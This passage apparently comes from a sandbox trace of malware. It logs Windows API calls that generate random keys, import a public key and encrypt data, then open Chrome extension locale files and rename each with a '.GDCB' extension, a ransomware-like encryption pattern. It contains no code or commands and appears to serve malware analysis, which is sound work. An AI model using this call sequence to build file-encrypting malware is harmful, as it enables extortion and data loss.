returned 0x74c90000 [0263.153] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.153] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.154] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.156] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793be0) returned 1 [0263.156] CryptGetKeyParam (in: hKey=0x6793be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.156] CryptEncrypt (in: hKey=0x6793be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.156] GetLastError () returned 0x0 [0263.156] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.157] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793c20) returned 1 [0263.158] CryptGetKeyParam (in: hKey=0x6793c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.158] CryptEncrypt (in: hKey=0x6793c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.159] GetLastError () returned 0x0 [0263.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.159] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.160] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.163] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.165] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.174] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.182] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0263.188] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.193] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.193] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.197] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.199] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.199] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.200] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.202] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793b60) returned 1 [0263.202] CryptGetKeyParam (in: hKey=0x6793b60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.202] CryptEncrypt (in: hKey=0x6793b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.202] GetLastError () returned 0x0 [0263.202] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.202] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.204] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793c60) returned 1 [0263.204] CryptGetKeyParam (in: hKey=0x6793c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.204] CryptEncrypt (in: hKey=0x6793c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.205] GetLastError () returned 0x0 [0263.205] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.205] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.206] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.209] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.212] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.221] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.227] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0263.232] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0263.236] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.238] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.238] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.238] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.243] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.243] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.243] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.243] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.246] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793b20) returned 1 [0263.246] CryptGetKeyParam (in: hKey=0x6793b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.246] CryptEncrypt (in: hKey=0x6793b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.246] GetLastError () returned 0x0 [0263.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.246] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0263.248] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ca0) returned 1 [0263.248] CryptGetKeyParam (in: hKey=0x6793ca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.248] CryptEncrypt (in: hKey=0x6793ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.248] GetLastError () returned 0x0 [0263.248] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0263.248] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.250] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.252] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.255] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.263] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.291] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0263.296] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.302] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.302] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.302] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.306] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.306] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.306] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.307] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.309] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ee0) returned 1 [0263.309] CryptGetKeyParam (in: hKey=0x6793ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.309] CryptEncrypt (in: hKey=0x6793ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.309] GetLastError () returned 0x0 [0263.309] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.309] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0263.311] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793920) returned 1 [0263.311] CryptGetKeyParam (in: hKey=0x6793920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.311] CryptEncrypt (in: hKey=0x6793920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.311] GetLastError () returned 0x0 [0263.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.311] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.313] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.316] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.318] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.327] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.337] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.gdcb")) returned 1 [0263.342] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.348] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.348] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.348] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.348] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0263.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.353] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0263.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0263.354] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.356] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793ce0) returned 1 [0263.356] CryptGetKeyParam (in: hKey=0x6793ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.356] CryptEncrypt (in: hKey=0x6793ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0263.356] GetLastError () returned 0x0 [0263.356] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.356] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0263.358] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793960) returned 1 [0263.358] CryptGetKeyParam (in: hKey=0x6793960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0263.358] CryptEncrypt (in: hKey=0x6793960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0263.358] GetLastError () returned 0x0 [0263.358] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0263.360] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0263.363] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0263.365] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0263.374] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0263.382] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0263.388] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0263.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0263.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0263.393] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0263.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0263.393] 